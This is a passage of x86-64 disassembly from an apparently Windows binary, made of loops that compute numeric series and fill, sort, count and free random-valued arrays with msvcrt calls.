jle 0x1400029a1
pxor xmm0, xmm0
movsd qword [rbp + 0x5120], xmm0
movsd xmm0, qword [0x140044240]
movsd qword [rbp + 0x5118], xmm0
mov dword [rbp + 0x5114], 0
add dword [rbp + 0x5114], 1
movsd xmm0, qword [rbp + 0x5118]
addsd xmm0, xmm0
movsd qword [rbp + 0x5118], xmm0
movsd xmm0, qword [0x140044240]
divsd xmm0, qword [rbp + 0x5118]
movsd xmm1, qword [rbp + 0x5120]
addsd xmm0, xmm1
movsd qword [rbp + 0x5120], xmm0
movsd xmm0, qword [0x140044240]
ucomisd xmm0, qword [rbp + 0x5120]
jp 0x140002ae7
movsd xmm0, qword [0x140044240]
ucomisd xmm0, qword [rbp + 0x5120]
je 0x140002af3
cmp dword [rbp + 0x5114], 0x45e
jle 0x140002a84
pxor xmm0, xmm0
movsd qword [rbp + 0x5108], xmm0
movsd xmm0, qword [0x140044240]
movsd qword [rbp + 0x5100], xmm0
mov dword [rbp + 0x50fc], 0
jmp 0x140002b86
movsd xmm0, qword [0x140044240]
divsd xmm0, qword [rbp + 0x5100]
movsd xmm1, qword [rbp + 0x5108]
addsd xmm0, xmm1
movsd qword [rbp + 0x5108], xmm0
movsd xmm1, qword [rbp + 0x5100]
movsd xmm0, qword [0x140044260]
mulsd xmm0, xmm1
movsd qword [rbp + 0x5100], xmm0
movsd xmm0, qword [rbp + 0x5108]
ucomisd xmm0, qword [0x140044268]
jp 0x140002b7f
movsd xmm0, qword [rbp + 0x5108]
ucomisd xmm0, qword [0x140044268]
je 0x140002b92
add dword [rbp + 0x50fc], 1
cmp dword [rbp + 0x50fc], 0xee0
jle 0x140002b1b
mov dword [rbp + 0x50f8], 0xffffffff
mov ecx, 0x2dc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f58], rax
add dword [rbp + 0x50f8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x50f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f58]
add rax, rdx
movsd xmm1, qword [0x140044240]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x50f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f58]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x50f8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2f58]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x50f8], 0x5b6
jle 0x140002bad
mov dword [rbp + 0x50f4], 0xa32
jmp 0x140002c69
sub dword [rbp + 0x50f4], 1
cmp dword [rbp + 0x50f4], 0x34
jg 0x140002c62
mov ecx, 0x24dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f50], rax
mov dword [rbp + 0x50ec], 0
mov dword [rbp + 0x50e8], 0
mov dword [rbp + 0x50f0], 0
jmp 0x140002cf0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x50f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2f50]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x50f0], 1
cmp dword [rbp + 0x50f0], 0x936
jle 0x140002ca3
mov dword [rbp + 0x50f0], 0
mov dword [rbp + 0x50f0], 0
jmp 0x140002d6f
mov eax, dword [rbp + 0x50f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f50]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002d3e
add dword [rbp + 0x50ec], 1
jmp 0x140002d68
mov eax, dword [rbp + 0x50f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f50]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002d68
add dword [rbp + 0x50e8], 1
add dword [rbp + 0x50f0], 1
cmp dword [rbp + 0x50f0], 0x936
jle 0x140002d12
mov rax, qword [rbp + 0x2f50]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x19e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f48], rax
mov dword [rbp + 0x50e0], 0
mov dword [rbp + 0x2f44], 0
mov dword [rbp + 0x50e4], 0
jmp 0x140002e07
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x50e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2f48]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x50e4], 1
cmp dword [rbp + 0x50e4], 0x677
jle 0x140002dbb
mov dword [rbp + 0x50e4], 0
jmp 0x140002e48
mov eax, dword [rbp + 0x50e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f48]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x50e0], eax
add dword [rbp + 0x50e4], 1
cmp dword [rbp + 0x50e4], 0x677
jle 0x140002e1f
mov rax, qword [rbp + 0x2f48]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x31f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f38], rax
mov dword [rbp + 0x50dc], 0
jmp 0x140002f0c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x50dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f38]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x50dc], 1
cmp dword [rbp + 0x50dc], 0xc7d
jle 0x140002e83
mov dword [rbp + 0x50dc], 0
jmp 0x140003038
mov dword [rbp + 0x510], 0
jmp 0x14000301a
mov eax, dword [rbp + 0x50dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f38]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x510]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f38]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140003013
mov eax, dword [rbp + 0x510]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f38]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x50c], xmm0
mov eax, dword [rbp + 0x50dc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f38]
add rdx, rax
mov eax, dword [rbp + 0x510]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x2f38]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x510]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f38]
add rax, rdx
movss xmm0, dword [rbp + 0x50c]
movss dword [rax], xmm0
add dword [rbp + 0x50dc], 1
mov eax, 0xc7d
sub eax, dword [rbp + 0x50dc]
cmp dword [rbp + 0x510], eax
jl 0x140002f3a
add dword [rbp + 0x50dc], 1
cmp dword [rbp + 0x50dc], 0xc7d
jle 0x140002f2b
mov rax, qword [rbp + 0x2f38]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x50d8], 0xffffffff
add dword [rbp + 0x50d8], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x3ac
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.14003c580
movq rax, xmm0
mov qword [rbp + 0x2f30], rax
cmp dword [rbp + 0x50d8], 0x6da
jle 0x140003061
mov ecx, 0x1a80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f28], rax
mov dword [rbp + 0x50d4], 0
jmp 0x140003118